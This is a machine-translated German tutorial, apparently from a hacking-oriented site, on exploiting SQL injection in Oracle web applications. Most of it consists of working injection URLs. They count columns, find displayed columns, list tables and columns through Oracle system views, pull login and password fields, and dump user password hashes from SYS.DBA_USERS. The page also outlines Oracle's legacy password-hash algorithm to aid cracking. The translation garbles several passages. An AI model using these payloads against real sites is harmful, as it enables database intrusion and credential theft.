This page has been robot translated, sorry for typos if any. Original content here.

SQL-Injektion in Oracle



  • [Einleitung]
  • [Eigenschaften von Oracle]
  • [Spaltenauswahl]
  • [Definition der druckbaren Spalten]
  • [Informationen erhalten]
  • [Tabellen und Spalten]
  • [Passwörter]
  • [Informationen erhalten]



  • [Einleitung]


    Vor kurzem, bei der Erforschung verschiedener Web-Projekte auf Schwachstellen, kam ich auf eine SQL-Injektion in Oracle. Obwohl es derzeit selten ist, dieses DBMS in der Web-Programmierung zu verwenden, aber es passiert immer noch. Die ganze Forschung endete mit einer einfachen Erkennung von Bugs, was noch zu tun war unverständlich. Bei der Suche nach einem Artikel, der die praktischen Aspekte der Ausnutzung dieser Anfälligkeit in Oracle beschreibt, wie die Artikel Cash und Spyder, die Injektionen in MSSQL und PostgreSQL beschreiben, war es nicht möglich zu finden.
    Als Ergebnis wurde die Suche gefunden, nur eine Reihe von Artikeln k00p3r, und vollständig aus Drittquellen kopiert und eine einfache Übersetzung, deren Lesung gab nicht eine klare Vorstellung davon, Wangenknochen in Oracle zu halten, weil Artikel in der Tat haben ein großes Volumen, sind von einer theoretischen Natur, und zum größten Teil Wasser enthalten.
    Am Ende musste ich mich an die Fähigkeiten des Instituts erinnern, mit Oracle zusammenzuarbeiten und eine Reihe von verstreuten Informationen im Internet zu lesen. In diesem Artikel möchte ich mit Ihnen teilen die Tatsache, dass ich es geschafft, in die SQL-Injektion in Oracle graben und versuchen, es zu einem kombinieren.
    Nun, versuchen Sie, die Lücke zu füllen, und fügen Sie eine Reihe von Artikeln Bargeld und Spyder.

    [Eigenschaften von Oracle]


    Zuerst werde ich einige Eigenschaften geben, die bei der Injektion in Oracle berücksichtigt werden müssen. Sofort möchte ich eine Reservierung machen, die in den Artikelinjektionen in der SELECT-Anweisung berücksichtigt wird. Obwohl die Injektion in INSERT, UPDATE und DELETE auch möglich ist.
    Ebenso wichtig ist die Tatsache, dass der Artikel mit Injektionsproblemen in Oracle SQL-Abfragen behandelt und nicht in Oracle PL / SQL-Prozeduren. Ein signifikanter Unterschied zwischen Injektionen in PL / SQL-Prozeduren ist die Möglichkeit der Verwendung des Abfrage-Trennzeichens - ein Semikolon ";" Zeichen. Aber darüber ist es notwendig, einen separaten Artikel zu schreiben, mit einer Beschreibung aller Konsequenzen. Darüber hinaus glaubt der Autor, dass in Web-Anwendungen Injektionen am häufigsten in SQL-Abfragen auftreten (zumindest habe ich nur solche gesehen).
    In Oracle, sowie in MySQL und PostgreSQL wird eine Injektion unter Verwendung des UNION-Operators durchgeführt, d.h. Mit der Zusammensetzung der Kombination von zwei Abfragen (im folgenden wird zur Vereinfachung des Verständnisses der Begriff - Unterabfrage verwendet). Aber neben dem Zusammentreffen der Anzahl der Spalten in der Hauptabfrage und der Unterabfrage sollten Sie berücksichtigen, dass Oracle nicht automatisch Typen in einer Unterabfrage vergibt. Wenn Sie also Spalten auswählen, müssen Sie z. B. null, zB aus MySQL, ersetzen.
    Eine sehr wichtige Eigenschaft ist, dass alle SELECT-Abfragen aus einer Tabelle gemacht werden müssen, das heißt, Die Abfragesyntax sollte immer das Wort FROM und den Namen der Tabelle enthalten. Für einfache arithmetische Berechnungen oder andere Operationen, die keine echte Tabelle benötigen, gibt es eine Pseudo-SYS.DUAL-Tabelle in Oracle.
    Eine wichtige Eigenschaft ist die Abwesenheit des LIMIT-Betreibers.
    Um die Abfrage abzuschneiden, werden die Kommentarzeichen "-" (zwei Bindestriche) und "/ *" (ein gerader Schrägstrich und ein Sternchen) in Oracle SQL verwendet. Die erste Art von Kommentar ist einzeilig. Der zweite Typ ist multiline.
    Es besteht keine Möglichkeit, mehrere SQL-Abfragen mit dem ";" - Trennzeichen zu verwenden, im Gegensatz zu PL / SQL-Routinen.
    Wenn ein Fehler erkannt wird, können Sie Oracle durch das Vorhandensein des Wortes ORA im Text der Fehlermeldung eindeutig identifizieren, zum Beispiel:

    Macromedia][Oracle JDBC Driver][Oracle]ORA-00933: SQL command not properly ended

    Das Wort Oracle ist nicht immer im Text des Fehlers, zum Beispiel

    Warning: OCIStmtExecute: ORA-01722: invalid number in

    [Spaltenauswahl]


    Lassen Sie den Fehler im id-Parameter vorhanden sein:

    www.site.com/view.php?id=1'
    Die Definition der Anzahl der Spalten, die in der Hauptabfrage vorhanden sind, ist die gleiche wie bei MySQL. Da der UNION-Operator die gleiche Anzahl von Spalten benötigt, sowohl in der Hauptabfrage als auch in der Unterabfrage, müssen wir die Anzahl dieser Spalten bestimmen. Wenn Sie die Spalten in der Unterabfrage falsch angeben, wird die Standardfehlermeldung angezeigt:

    ORA-XXXXX: query block has incorrect number of result columns
    Für die Auswahl der Säulen gibt es 2 bekannte Methoden und gut beschrieben in der Artikel Spyder. Aber ich bringe sie wieder, damit der Leser nicht um die Artikel herum läuft:

    1. Eine einfache Suche.
    Machen Sie die folgende Abfrage

    www.site.com/view.php?id=-1+union+select+null+from+sys.dual--

    Wenn der Fehler auftritt, erhöhen Sie die Anzahl der Spalten um eins
    www.site.com/view.php?id=-1+union+select+null, null+from+sys.dual--

    Und so weiter, bis der Fehler verschwindet.

    2. Mit der ORDER BY-Klausel
    Die zweite Methode ist viel schneller und angenehmer, wenn die Anzahl der Spalten groß genug ist. Machen Sie die folgende Abfrage

    www.site.com/view.php?id=-1+order+by+1--
    Wenn es keinen Fehler gibt, dann Spalten 1 oder mehr 1

    www.site.com/view.php?id=-1+order+by+99999--
    Bei einer solchen Abfrage sollte ein Fehler erscheinen, was bedeutet, dass die Spalten kleiner als 99999 sind. Dann beschränken wir in gleicher Weise die Grenzen des ausgewählten Intervalls nach links und rechts und bestimmen schließlich die tatsächliche Anzahl der Spalten in der Hauptabfrage.

    [Definition der druckbaren Spalten]


    Nehmen wir an, wir haben die genaue Anzahl der Spalten in der Hauptabfrage bestimmt, sagen wir 4.

    www.site.com/view.php?id=-1+union+select+null, null, null, null+from+sys.dual--
    Nun müssen wir die Spalten definieren, die auf der Seite angezeigt werden. In der Regel sind Spalten mit Datentypen int, char und Daten an der Ausgabe beteiligt. Wir haben genügend bedruckbare Spalten mit Typen int und char, und wir werden sie suchen.
    Wie bereits erwähnt, zeichnet Oracle nicht automatisch Typen in eine Unterabfrage. Deshalb, wenn wir versuchen, in einer Spalte für Werte eines unangemessenen Typs zu ersetzen, erhalten wir den folgenden Typ Fehlanpassungsfehler

    ORA-XXXXX: expression must have same datatype as corresponding expression
    Als nächstes fangen wir an, Abfragen zu komponieren, abwechselnd ersetzen jede Spalte durch eine beliebige Zahl

    www.site.com/view.php?id=-1+union+select+123, null, null, null+from+sys.dual--
    ....
    www.site.com/view.php?id=-1+union+select+null, 123, null, null+from+sys.dual--
    So identifizieren wir druckbare Spalten vom Typ int. Für den Fall, dass wir einen Typo-Mismatch-Fehler erhalten, können wir die Umwandlungsfunktionen to_char (), to_date () verwenden und die druckbaren Spalten mit char und Datentypen identifizieren.

    www.site.com/view.php?id=-1+union+select+null, to_char(123), null, null+from+sys.dual--
    Als Referenz ist hier die Syntax der Funktion to_char ():
    To_char (Wert, [format_mask], [nls_language])

    [Informationen erhalten]


    Nachdem wir die Anzahl der Spalten gelernt haben und welche von ihnen druckfähig sind, können wir sicher weitergehen, um die notwendigen Informationen aus der Datenbank zu erhalten. Nun, wenn wir gewisse Tabellen in der Datenbank und die Spalten in ihnen kennen, dann ist die Information nicht schwer. Zum Beispiel, wenn es eine USERS-Tabelle mit ID, LOGIN und PASSWORD Spalten gibt, wird die Anforderung für diese Daten so aussehen

    www.site.com/view.php?id=-1+union+select+null, login, password, null+from+users+where+id=123--
    Genau wie in MySQL, für die Bequemlichkeit der Anzeige und Überwindung verschiedener Codierungsprobleme können Sie die Funktionen concat (), to_char () verwenden.
    Um die Filterung von Anführungszeichen oder anderen notwendigen Zeichen zu überwinden, gibt es eine chr () - Funktion.

    [Tabellen und Spalten]


    Wenn uns die Benutzertabellen nicht bekannt sind, können wir aus den bekannten Oracle-Systemtabellen verschiedene Informationen erhalten.
    Um den Namen des Benutzers herauszufinden, unter dem die Schnittstelle funktioniert, was bedeutet, dass du den Benutzer oder sys.login_user anrufen kannst

    www.site.com/view.php?id=-1+union+select+null, user, null, null+from+sys.dual--
    Sie können die Liste der Sessions wie folgt erhalten: select * from V $ Session

    Von großem Interesse sind die Tabellen SYS.USER_TABLES und SYS.USER_TAB_COLUMNS, die alle Tabellen und deren Spalten für den Benutzer enthalten. Wir ziehen die Namen der Tische und Spalten heraus:

    www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.user_tables--
    www.site.com/view.php?id=-1+union+select+null, column_name, null, null+from+sys.user_tab_columns--
    Auch meiner Meinung nach sind in der Tabelle SYS.USER_TABLES neben table_name die folgenden Spalten von Interesse: tablespace_name, num_rows, freelist_groups.
    Aber leider, die oben genannten Anfragen führen uns zu nur einem - der erste Rekord aus dem ganzen Tisch. Es besteht ein unwiderstehlicher Wunsch, die LIMIT-Anweisung entweder in MySQL oder in PostgreSQL zu verwenden. Für die große allgemeine Enttäuschung wird dieser Operator in Oracle nicht unterstützt und hat darüber hinaus kein würdiges Äquivalent in Form eines anderen Betreibers.
    "Alles war verloren !!!" - du wirst sagen.
    "Nein !!!" - ich werde Ihnen antworten.
    Nachdem ich ziemlich viel gefolgt hatte, fand ich immer noch die Möglichkeit, eine komplexe Abfrage zu komponieren, obwohl irgendwie die semantische Belastung des LIMIT-Betreibers irgendwie feststellen konnte. Leider war es nicht möglich, seine vollen Fähigkeiten wiederherzustellen.

    www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.user_tables+where+rownum+<=+5--
    So können wir durch das Scannen einer anderen Anzahl von Datensätzen in der Stichprobe alle Namen der Tabellen nacheinander betrachten. Das gleiche Design, das wir beim Betrachten der Tabelle SYS.USER_TAB_COLUMNS verwenden können, wenn alle Spaltennamen dem Benutzer zur Verfügung stehen.
    Auch in Oracle gibt es das Konzept eines Objektpräfixes (die Tabelle ist ein Objekt), das im Namen oder Namen der Tabelle vorhanden ist:
    ALL_ - alles für den Benutzer verfügbar (der Besitzer darf nicht sein),
    USER_ - Objekte, deren Besitzer dieser Benutzer ist.
    Deshalb können wir die Aufgabe vereinfachen und die Namen nur der Tabellen herausziehen, auf die wir zugreifen können

    www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.all_tables
    Die Informationen aus den folgenden Standardtabellen können auch von Interesse sein: SYS.USER_OBJECTS, SYS.USER_VIEWS, SYS.USER_VIEWS, SYS.USER_CATALOG, SYS.USER_TRIGGERS, SYS.TAB.

    [Passwörter]


    Wenn wir Glück haben und der Benutzer, unter dem wir mit der Datenbank arbeiten, hat sysdba Rechte, dann können wir Hashes aller Datenbankbenutzer bekommen.
    Der wichtigste Ort der Speicherung der Faltung des Passworts (Hash) ist die Tabelle des Wörterbuch-Verzeichnisses SYS.USER $. Über dieser Tabelle ist die Ableitung als Basis, SYS.DBA_USERS konstruiert. Wenn PASSWORD_REUSE_TIME im Benutzerprofil aktiviert ist, wird die Passwort-Faltung auch in SYS.USER_HISTORY $ gespeichert. Sie können Hashes und Benutzernamen wie diese erhalten

    www.site.com/view.php?id=-1+union+select+null, username, password, null+from+sys.dba_users
    Für die Vollständigkeit der Informationen, werde ich auch einen Algorithmus für die Berechnung der Faltung des Passwortes, nur für den Fall, vielleicht jemand wird in handliches kommen:
    1. Der Text des Passworts ist dem Benutzernamen beigefügt.
    2. In der resultierenden Zeile werden die Buchstaben inkrementiert.
    3. Die Zeichenfolgen werden durch Hinzufügen eines Nullwertes 0x00 nach links (für ASCII-Zeichen) in ein Zwei-Byte-Format konvertiert und die Zeile wird mit der Null-Byte auf eine Gesamtlänge von 80 angehängt.
    4. Die resultierende Zeichenfolge wird durch den DES-Algorithmus in der Art der Kopplung von Chiffretextblöcken (CBC) mit dem Schlüssel 0x0123456789ABCDEF verschlüsselt.
    5. Aus dem letzten Ergebnisblock werden die Paritätsbits gelöscht und der empfangene String (56 Bits) wird für die neue Verschlüsselung des Quellstrings auf die gleiche Weise verwendet.
    6. Der letzte Block des Ergebnisses wird in die Zeichen der hexadezimalen Arithmetik übersetzt und zur endgültigen Ergebnis-Faltung erklärt.